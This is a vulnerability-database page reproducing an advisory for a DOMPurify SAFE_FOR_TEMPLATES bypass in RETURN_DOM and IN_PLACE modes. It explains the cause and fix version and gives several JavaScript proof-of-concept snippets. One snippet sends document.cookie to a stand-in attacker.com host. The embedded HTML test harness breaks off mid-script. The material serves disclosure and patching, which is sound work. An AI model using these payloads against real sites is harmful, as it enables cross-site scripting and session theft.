CVE-2026-65900: DOMPurify: SAFE_FOR_TEMPLATES bypass - template expressions survive sanitization inside <template> content when using DOM output modes
Summary When DOMPurify is configured with both SAFEFORTEMPLATES: true and RETURNDOM: true (or INPLACE: true), an attacker can inject template expressions, such as ${evil}, {{evil}}, or , that survive the sanitization pass inside element content. This bypasses the explicit purpose of SAFEFORTEMPLATES, which is to prevent template engine evaluation of user-supplied content.
Published Jun 15, 2026 · Updated Jul 23, 2026
Affected packages
dompurify
- Ecosystem
- npm
- Affected
- >= 3.0.0, <= 3.4.7
- Fixed in
- 3.4.8
- Check
npm ls dompurify
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
When DOMPurify is configured with both SAFE_FOR_TEMPLATES: true and RETURN_DOM: true (or IN_PLACE: true), an attacker can inject template expressions, such as ${evil}, {{evil}}, or <%evil%>, that survive the sanitization pass inside <template> element content. This bypasses the explicit purpose of SAFE_FOR_TEMPLATES, which is to prevent template engine evaluation of user-supplied content.
Note: The string output path is not affected. Only the DOM return paths (RETURN_DOM: true, RETURN_DOM_FRAGMENT: true, IN_PLACE: true) are vulnerable.
---
Description
Background
SAFE_FOR_TEMPLATES is designed to strip {{ }}, ${ }, and <% %> expressions from sanitized output so that downstream template engines do not evaluate user-controlled content. The feature operates through two mechanisms:
- Per-node scrubbing (
_sanitizeElements,src/purify.ts:1403), scrubs individual text nodes during the main sanitization walk. - Final normalization pass (
_scrubTemplateExpressions,src/purify.ts:1115), callsnode.normalize()to merge adjacent text nodes, then walks the merged nodes and strips any expressions that only appeared after merging.
The Gap
_scrubTemplateExpressions uses a standard NodeIterator rooted at the output body:
// src/purify.ts:1117
const walker = createNodeIterator.call(
node.ownerDocument || node,
node,
NodeFilter.SHOW_TEXT | NodeFilter.SHOW_COMMENT | ...,
null
);Per the DOM specification, a NodeIterator does not descend into <template>.content. The template element's content is a separate DocumentFragment that lives outside the normal child-node tree. For the same reason, node.normalize() (called on line 1116) also does not normalize text nodes inside <template>.content.
This means the final normalization and scrub pass, the only pass that catches expressions formed *by merging split text nodes*, never runs on <template> content.
How Split Text Nodes Are Created
When DOMPurify removes a disallowed element with KEEP_CONTENT: true (the default), it moves the element's text children into the parent node. This is the standard code path at src/purify.ts:1361–1373:
if (KEEP_CONTENT && !FORBID_CONTENTS[tagName]) {
const parentNode = getParentNode(currentNode);
const childNodes = getChildNodes(currentNode);
if (childNodes && parentNode) {
for (let i = childCount - 1; i >= 0; --i) {
const childClone = cloneNode(childNodes[i], true);
parentNode.insertBefore(childClone, getNextSibling(currentNode));
}
}
}If the removed elements were adjacent siblings inside <template> content, their extracted text nodes end up as adjacent text nodes in the template content fragment. Each individual text node is scrubbed by _sanitizeElements, but since $ and {evil} do not match any expression regex on their own, neither is modified.
The code comment at src/purify.ts:1100 explicitly acknowledges the threat class:
*"which only form after text-node normalization (e.g. fragments split across stripped elements) cannot survive into a template-evaluating framework."*
The implementation guards against this on the main body, but the guard is not applied to <template> content.
---
Proof of Concept
Why the Split Works
The bypass relies on splitting ${...} across two adjacent custom elements so that neither fragment matches any DOMPurify regex on its own:
| Fragment | Against `TMPLIT_EXPR` `/\${[\w\W]*/g` | Against `MUSTACHE_EXPR` `/{{[\w\W]*\|^[\w\W]*}}/g` | Result |
| `$` | Requires `${` - no `{` follows | No `{{` or `}}` | **Survives** |
| `{alert(document.domain)}` | Requires leading `$` - absent | No `{{`, ends with single `}` not `}}` | **Survives** |
| `${alert(document.domain)}` | Full match - would be stripped | - | Stripped if seen whole |DOMPurify only sees each fragment in isolation. It never merges them before checking, so the expression is never detected.
---
PoC 1 - XSS via alert() (baseline confirmation)
// Attacker input - splits "${alert(document.domain)}" across two custom elements.
// Custom elements are not in DOMPurify's default ALLOWED_TAGS and are removed,
// but their text content is kept (KEEP_CONTENT: true is the default).
const dirty =
'<template>' +
'<x-split-1>$</x-split-1>' +
'<x-split-2>{alert(document.domain)}</x-split-2>' +
'</template>';
// Developer sanitizes with SAFE_FOR_TEMPLATES, trusting it strips ${...}
const sanitized = DOMPurify.sanitize(dirty, {
RETURN_DOM: true,
SAFE_FOR_TEMPLATES: true,
});
// Inspect what survived inside the <template>
const tmpl = sanitized.querySelector('template');
console.log([...tmpl.content.childNodes].map(n => n.nodeValue));
// ["$", "{alert(document.domain)}"] <-- two separate text nodes, both "clean"
// Frameworks (lit-html, Angular, custom renderers) routinely call normalize()
// before reading template content. This merges the adjacent nodes:
tmpl.content.normalize();
console.log(tmpl.content.textContent);
// "${alert(document.domain)}" <-- fully formed expression, past the sanitizer
// Any template-literal evaluator now fires XSS:
const expr = tmpl.content.textContent;
new Function(`return \`${expr}\``)();
// !! alert(document.domain) executes !!---
PoC 2 - Session Hijacking via cookie exfiltration
// Splits "${document.location='//attacker.com/?c='+document.cookie}"
// "{document.location=...}" ends with a single "}" — does NOT match
// MUSTACHE_EXPR's "^[\w\W]*}}" (requires double "}}"), so it survives.
const dirty =
'<template>' +
'<x-a>$</x-a>' +
'<x-b>{document.location="//attacker.com/?c="+document.cookie}</x-b>' +
'</template>';
const sanitized = DOMPurify.sanitize(dirty, {
RETURN_DOM: true,
SAFE_FOR_TEMPLATES: true,
});
const tmpl = sanitized.querySelector('template');
tmpl.content.normalize();
console.log(tmpl.content.textContent);
// "${document.location="//attacker.com/?c="+document.cookie}"
// Template engine evaluates it - victim's browser makes the request:
new Function(`return \`${tmpl.content.textContent}\``)();
// !! Redirects victim to attacker.com with their full cookie string !!
// e.g. https://attacker.com/?c=session=abc123;auth_token=xyz789---
PoC 3 - End-to-end: realistic application context
This shows the full path in an application that uses DOMPurify to sanitize user-submitted rich text before rendering it with a custom template engine:
<!-- index.html - the vulnerable application -->
<script type="module">
import DOMPurify from './dist/purify.es.mjs';
// Simulates fetching and rendering user-submitted comment
async function renderComment(userHtml) {
// Developer correctly uses SAFE_FOR_TEMPLATES to protect the template engine
const dom = DOMPurify.sanitize(userHtml, {
RETURN_DOM: true,
SAFE_FOR_TEMPLATES: true,
});
// Application iterates <template> elements and evaluates their content
// (common pattern in component-based frameworks)
dom.querySelectorAll('template').forEach(tmpl => {
tmpl.content.normalize(); // standard DOM housekeeping
const content = tmpl.content.textContent;
// Application uses template literals to interpolate user content into UI
const rendered = new Function('user', `return \`${content}\``)({ name: 'World' });
document.getElementById('output').innerHTML += rendered;
});
}
// Attacker-supplied comment content
const attackerComment =
'<template>' +
'<x-a>$</x-a>' +
'<x-b>{alert("XSS: " + document.cookie)}</x-b>' +
'</template>';
// Developer believes SAFE_FOR_TEMPLATES makes this safe — it does not for RETURN_DOM
renderComment(attackerComment);
// !! XSS fires, alert pops with session cookies !!
</script>Observed output: alert("XSS: " + document.cookie) executes in the victim's browser context, leaking session tokens to the attacker.
---
PoC 4 - IN_PLACE mode (DOM input path)
// Applicable when the application sanitizes DOM nodes directly
// (e.g., content loaded into an iframe or received from a WebSocket)
const container = document.createElement('div');
const tmpl = document.createElement('template');
// Adjacent text nodes - these would never appear in HTML-parsed content,
// but CAN appear in programmatically constructed DOM or WebSocket messages
// that are deserialised into DOM nodes before sanitisation.
tmpl.content.appendChild(document.createTextNode('$'));
tmpl.content.appendChild(document.createTextNode('{alert(document.domain)}'));
container.appendChild(tmpl);
// Sanitize in-place with SAFE_FOR_TEMPLATES - expected to strip all ${...}
DOMPurify.sanitize(container, { IN_PLACE: true, SAFE_FOR_TEMPLATES: true });
// Neither text node was modified - each passed the regex check individually
container.querySelector('template').content.normalize();
console.log(container.querySelector('template').content.textContent);
// "${alert(document.domain)}" <-- survived in-place sanitization
new Function(`return \`${container.querySelector('template').content.textContent}\``)();
// !! XSS fires !!HTML File for testing
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<title>DOMPurify SAFE_FOR_TEMPLATES Bypass - PoC</title>
<script src="dist/purify.js"></script>
<style>
* { box-sizing: border-box; margin: 0; padding: 0; }
body {
font-family: 'Segoe UI', system-ui, sans-serif;
background: #0d1117;
color: #e6edf3;
padding: 32px;
}
h1 { font-size: 1.4rem; color: #f85149; margin-bottom: 6px; }
.subtitle { color: #8b949e; font-size: 0.9rem; margin-bottom: 32px; }
.card {
background: #161b22;
border: 1px solid #30363d;
border-radius: 8px;
margin-bottom: 24px;
overflow: hidden;
}
.card-header {
display: flex;
align-items: center;
gap: 10px;
padding: 14px 20px;
border-bottom: 1px solid #30363d;
background: #1c2128;
}
.badge {
font-size: 0.72rem;
font-weight: 700;
padding: 2px 8px;
border-radius: 4px;
text-transform: uppercase;
letter-spacing: 0.05em;
}
.badge-run { background: #1f6feb; color: #fff; }
.badge-pass { background: #238636; color: #fff; }
.badge-fail { background: #da3633; color: #fff; }
.badge-warn { background: #9e6a03; color: #fff; }
.card-title { font-size: 0.95rem; font-weight: 600; }
.card-body { padding: 20px; }
label { font-size: 0.78rem; color: #8b949e; display: block; margin-bottom: 6px; }
pre {
background: #0d1117;
border: 1px solid #30363d;
border-radius: 6px;
padding: 14px;
font-size: 0.82rem;
line-height: 1.6;
overflow-x: auto;
margin-bottom: 14px;
white-space: pre-wrap;
word-break: break-all;
}
pre.result { border-color: #238636; background: #0a1a0f; }
pre.escaped { border-color: #da3633; background: #1a0a0a; }
pre.highlight { border-color: #f85149; color: #f85149; font-weight: bold; }
.grid { display: grid; grid-template-columns: 1fr 1fr; gap: 14px; }
@media (max-width: 700px) { .grid { grid-template-columns: 1fr; } }
.arrow {
text-align: center;
font-size: 1.4rem;
color: #8b949e;
margin: 4px 0;
}
.xss-banner {
display: none;
background: #da3633;
color: #fff;
text-align: center;
padding: 16px;
font-size: 1.1rem;
font-weight: 700;
border-radius: 6px;
margin-bottom: 24px;
letter-spacing: 0.03em;
}
button {
background: #238636;
color: #fff;
border: none;
padding: 10px 22px;
border-radius: 6px;
font-size: 0.9rem;
font-weight: 600;
cursor: pointer;
margin-right: 10px;
margin-bottom: 8px;
}
button:hover { background: #2ea043; }
button.danger { background: #da3633; }
button.danger:hover { background: #f85149; }
.note {
background: #161b22;
border-left: 3px solid #9e6a03;
padding: 12px 16px;
font-size: 0.82rem;
color: #e3b341;
border-radius: 0 6px 6px 0;
margin-top: 14px;
}
#log {
background: #0d1117;
border: 1px solid #30363d;
border-radius: 6px;
padding: 14px;
font-size: 0.8rem;
font-family: monospace;
min-height: 60px;
max-height: 300px;
overflow-y: auto;
line-height: 1.8;
}
.log-ok { color: #3fb950; }
.log-fail { color: #f85149; }
.log-info { color: #8b949e; }
.log-warn { color: #e3b341; }
</style>
</head>
<body>
<h1>🔴 DOMPurify 3.4.7 - SAFE_FOR_TEMPLATES Bypass</h1>
CVE candidate · Template expression injection via <template> content ·
Affects: RETURN_DOM + SAFE_FOR_TEMPLATES and IN_PLACE + SAFE_FOR_TEMPLATES
⚠️ XSS CONFIRMED - Expression executed in this page's context
<!-- ── Controls ─────────────────────────────────────────── -->
Controls
Run individual test cases
<button onclick="runAll()">▶ Run all tests</button>
<button onclick="runPoC1()">PoC 1 - alert()</button>
<button onclick="runPoC2()">PoC 2 - cookie exfil</button>
<button onclick="runPoC3()">PoC 3 - IN_PLACE</button>
<button onclick="runControl()">Control - string output (should block)</button>
PoC 1 uses confirm() instead of alert() so the page
doesn't need a dismiss click to continue. Watch the red banner at the top.
<!-- ── PoC 1 ─────────────────────────────────────────────── -->
PENDING
PoC 1 - XSS via confirm() · RETURN_DOM mode
<label>ATTACKER INPUT - splits ${"{confirm(...)}"} across two custom elements</label>
<pre id="input-poc1"></pre>
<label>AFTER DOMPurify.sanitize() - what survived in template.content</label>
<pre class="result" id="nodes-poc1"></pre>
↓ template.content.normalize() ↓
<label>MERGED TEXT NODE - fully formed expression after normalization</label>
<pre class="highlight" id="merged-poc1"></pre>
<label>EXECUTION RESULT</label>
<pre id="exec-poc1">Not run yet</pre>
<!-- ── PoC 2 ─────────────────────────────────────────────── -->
PENDING
PoC 2 - Cookie exfiltration · RETURN_DOM mode
<label>ATTACKER INPUT - exfil payload split across custom elements</label>
<pre id="input-poc2"></pre>
<label>INDIVIDUAL TEXT NODES after sanitization (each "clean")</label>
<pre class="result" id="nodes-poc2"></pre>
↓ template.content.normalize() ↓
<label>MERGED EXPRESSION - what a template engine would evaluate</label>
<pre class="highlight" id="merged-poc2"></pre>
<label>SIMULATED EXECUTION (fetch URL that would be called)</label>
<pre id="exec-poc2">Not run yet</pre>
Real execution would redirect the victim to
attacker.com carrying the session cookie.
This PoC constructs the URL without actually sending it.
<!-- ── PoC 3 ─────────────────────────────────────────────── -->
PENDING
PoC 3 - XSS · IN_PLACE mode (DOM node input)
<label>ATTACKER PROVIDES - a DOM node with programmatically split text nodes</label>
<pre id="input-poc3"></pre>
<label>AFTER IN_PLACE sanitization - text nodes unchanged</label>
<pre class="result" id="nodes-poc3"></pre>
↓ template.content.normalize() ↓
<label>MERGED EXPRESSION</label>
<pre class="highlight" id="merged-poc3"></pre>
<label>EXECUTION RESULT</label>
<pre id="exec-poc3">Not run yet</pre>
<!-- ── Control ───────────────────────────────────────────── -->
PENDING
Control - string output (default) MUST block the payload
<label>Same attacker input, but sanitized WITHOUT RETURN_DOM (string output path)</label>
<pre id="input-ctrl"></pre>
↓ DOMPurify.sanitize() - string path hits the regex scrub at line 2067 ↓
<label>OUTPUT STRING - expression should be stripped</label>
<pre id="output-ctrl">Not run yet</pre>
The string output path is NOT vulnerable because
body.innerHTML serialises the template content into a
flat string where the full ${"{...}"} expression is visible
and the final regex scrub catches it.
<!-- ── Log ───────────────────────────────────────────────── -->
Log
Test output
<script>
// ── Helpers ────────────────────────────────────────────────────────────────
let xssConfirmed = false;
function log(msg, type = 'info') {
const el = document.getElementById('log');
const line = document.createElement('div');
line.className = 'log-' + type;
line.textContent = '[' + new Date().toLocaleTimeString() + '] ' + msg;
el.appendChild(line);
el.scrollTop = el.scrollHeight;
}
function setBadge(id, status) {
const el = document.getElementById('badge-' + id);
el.textContent = status;
el.className = 'badge ' + {
PASS: 'badge-fail', // "PASS" here means the attack succeeded (bad for security)
BLOCK: 'badge-pass', // "BLOCK" means DOMPurify correctly blocked it
PENDING: 'badge-run',
ERROR: 'badge-warn',
}[status];
}
function markXSS(poc) {
if (!xssConfirmed) {
xssConfirmed = true;
document.getElementById('xss-banner').style.display = 'block';
}
log('🔴 XSS CONFIRMED in ' + poc + ' - expression executed in page context', 'fail');
}
// ── PoC 1: RETURN_DOM + alert ──────────────────────────────────────────────
function runPoC1() {
log('Running PoC 1 - RETURN_DOM + confirm()...', 'info');
// IMPORTANT:
// Build a REAL template DOM node with split TEXT nodes.
// HTML parsing would merge adjacent text automatically,
// so we construct the DOM programmatically.
const container = document.createElement('div');
const tmpl = document.createElement('template');
tmpl.Credited to IamLeandrooooo.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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